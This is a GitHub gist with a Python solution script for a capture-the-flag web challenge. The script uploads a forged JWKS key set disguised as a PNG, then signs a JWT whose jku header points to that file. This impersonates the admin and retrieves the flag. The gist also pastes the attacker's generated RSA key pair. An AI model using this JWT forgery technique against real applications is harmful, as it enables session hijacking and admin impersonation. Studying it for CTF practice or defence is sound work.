Skip to content

Instantly share code, notes, and snippets.

@krnbhargav
Created March 5, 2022 15:06
Show Gist options
  • Select an option

  • Save krnbhargav/bcfe602de8803f1ff3bbd0b5bb27f07a to your computer and use it in GitHub Desktop.

Select an option

Save krnbhargav/bcfe602de8803f1ff3bbd0b5bb27f07a to your computer and use it in GitHub Desktop.
Exploit for challenge(`the photo exhibit`) from foobar 2022 ctf.
#!/usr/bin/env python3
#exploit written by ryn0(krn_bhargav)
from requests import Session,get
from bs4 import BeautifulSoup
import jwt
url = 'http://chall.nitdgplug.org:30623'
pub_key = open('pub.key','r').read()
pvt_key = open('pvt.key','r').read()
n='AL2dm+Myrfhs96B/kMzGkxeUnkuSDBf9axQ2PvRBLGCAo5CpCwNJBIS5pjr9InHCuJhs4486tZt3Fplxe9KmpnJQpuN7Q/LU6ZAF2QXsdWmj1IkLjYJ+7iecCSSZZjtiPtnZN/Pkyv/1FjxWm8p9pHoVjJ+dcw9TtufaAzJ2jilBQrhUFSPEu5863vyJT1Ov1otuTg12C7rs13RCcSaQhpf9lRmYM1HZ0aiqLgrQO+PPaGWYnk42hJHgn2TVsLt4+fkCaVzx7zHQ52dzLoAr+DKOCu9NcEzHKNSQRqlv+OwP2dLcPiRtdO9KnBT1V5j5UilKIU9lCAJOX43ZEDHZycU='
kid='ryn0'
username = 'ryn0_123'
password = 'best_of_future_from_ryn0'
admin_uuid = '683999a1-8bea-4278-876a-5ba278ea7917'
s = Session()
def register():
try:
r = s.post(url+'/register',data={'username':username,'password':password},allow_redirects=False)
if r.status_code == 302:
return True
return False
except Exception as e:
print(e)
def login():
try:
r = s.post(url+'/login',data={'username':username,'password':password},allow_redirects=False)
if r.status_code == 302:
return True
return False
except Exception as e:
print(e)
def upload_jwt():
payload='{"keys":[{"alg":"RS256","e":"AQAB","kid":"'+kid+'","kty":"RSA","n":"'+n+'}","use":"sig"}]}'
with open('payload.png','w') as fl:
fl.write(payload)
try:
r = s.post(url+'/uploads',files={'fileUpload':('payload.png',open('payload.png','rb'))})
if(r.status_code == 200):
soap = BeautifulSoup(r.text,'lxml')
img=soap.find('img',{'class':'card-img-top'})
return '/'+ str(img['src'])
return None
except Exception as e:
print(e)
def generateMaliciousJWT(jku):
return jwt.encode({'uuid':admin_uuid},pvt_key,algorithm='RS256',headers={
'kid':kid,
'jku':url+jku
})
def getFlag(jt):
try:
r = get(url+'/gallery',cookies={'session':str(jt.decode())})
if(r.status_code == 200 ):
soup = BeautifulSoup(r.text,'lxml')
return soup.find('h2').text
except Exception as e:
print(e)
if __name__ == '__main__':
if(register()):
print('[+] Register Successfull')
if(login()):
print('[+] login Successfull')
jku = upload_jwt()
if(jku):
jt=generateMaliciousJWT(jku)
print(f'jwt generated : {jt}\n\n')
print(f'flag : {getFlag(jt)}')
else:
print('[-] Not able to login')
else:
print('[-] Not able to register')
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvZ2b4zKt+Gz3oH+QzMaT
F5SeS5IMF/1rFDY+9EEsYICjkKkLA0kEhLmmOv0iccK4mGzjjzq1m3cWmXF70qam
clCm43tD8tTpkAXZBex1aaPUiQuNgn7uJ5wJJJlmO2I+2dk38+TK//UWPFabyn2k
ehWMn51zD1O259oDMnaOKUFCuFQVI8S7nzre/IlPU6/Wi25ODXYLuuzXdEJxJpCG
l/2VGZgzUdnRqKouCtA7489oZZieTjaEkeCfZNWwu3j5+QJpXPHvMdDnZ3MugCv4
Mo4K701wTMco1JBGqW/47A/Z0tw+JG1070qcFPVXmPlSKUohT2UIAk5fjdkQMdnJ
xQIDAQAB
-----END PUBLIC KEY-----
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvZ2b4zKt+Gz3oH+QzMaTF5SeS5IMF/1rFDY+9EEsYICjkKkL
A0kEhLmmOv0iccK4mGzjjzq1m3cWmXF70qamclCm43tD8tTpkAXZBex1aaPUiQuN
gn7uJ5wJJJlmO2I+2dk38+TK//UWPFabyn2kehWMn51zD1O259oDMnaOKUFCuFQV
I8S7nzre/IlPU6/Wi25ODXYLuuzXdEJxJpCGl/2VGZgzUdnRqKouCtA7489oZZie
TjaEkeCfZNWwu3j5+QJpXPHvMdDnZ3MugCv4Mo4K701wTMco1JBGqW/47A/Z0tw+
JG1070qcFPVXmPlSKUohT2UIAk5fjdkQMdnJxQIDAQABAoIBAQCmJf68vGG4tzLc
jisBZFbraKy0J0s1kjdLxKSxPpJ2FQI99gHSZR7ydgJ02e5epHNADNnxXU5Y5acF
2WzYjnJ25Lj3x8EofOwT6SvbhvDzGj1XwKnE2Rgx2QYh7dCo5FOSbEYdDjPayJUt
Ve65JhMDbvKDwmFZ4s74pg37H+s9tY2vctvN0W8oUh9tS+EQFC0eJxEdXdsBSz4M
/Q+tGOUerVd9JoktNVClcEl0F9yJNX094lT4+rKrdRaVC0CkYNW9bPLJEeu43O7m
q9ZVCt37wesThopKcKvosRTpnBYQvn0JSFpZ/CqdiG/cGPoY6/IPihDztihlEeg2
WzUmfELZAoGBAP1cM7Fw7RkN7VzdXNNMXzYu2eOHE/wwahBopcJl9TTdsWaBQJBo
Rke0rG0V051T/HADTleaPADpXLM0rsAetY0tNQm171iYv05IldPv6bTnCwHX2ph2
eJcfvx/hDgKBddZNSjSOjz0T14GT3KnwJ+rvuf0yHhqecWCSRs68Z0Y7AoGBAL+X
YO812tTamlrZpHH9Ut4sbvkRtM6KIqHY9xhS6/Y+j87K2bCk15E3VAl+keTpa0lA
1LnmBkjktQWY/C5Wltqw/UJz9sDh1jX8v9sSfu4zF4QR7ClZofdZepk0kBOe9jaX
tT0eC8Z+b2EiDxWFMvb1iOY0MddF/Cj3VHij4i//AoGAZLT7jzJ17BmPGfSbaxnW
VrE0xq3wkbOk1TTjfmwMlaDxXO9PfJcWKHZ2ez3LyaOSmeuWfle+NhaMVGdCdvc9
7wnjJSL+Klc8458SfxXD7bZQt8DXEPc2Y8uoqsFIUlKnRjGep1lrMjnq1YSyl5Hw
LAByC2SadrY4FszN/GsDGfUCgYBuTNZPoS+kz12B5D7aKT9mDSquVdVD+x7JEsHe
zQ5vq8DbCsmc+qnoPnQxKx8PLJrJh3twss73dEQLPvIgM1WR/ccwVNbAYMQUPLiv
hMxykhN9w1u0ypeGcYs1XJ99zExvTZPX5c5drjitMRCCETcwGleAQJhZGT98zjdh
ZOg5PQKBgFEpVPTm8MUBMKOEBNkmpxqRdsWnVmiKhPWB01BKiF48HYadKtobNxXp
+YsQv7+ZPZ30amLOH2AYOinxy2cqaGpCm1a4yR2QoIOv1XYaycsoXNayRxxp2s5u
SEgKa/JwA/ah1OP/unJV5oUz+OHoFxW2BaSpEgcAXOjcXCY2w3Yj
-----END RSA PRIVATE KEY-----
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment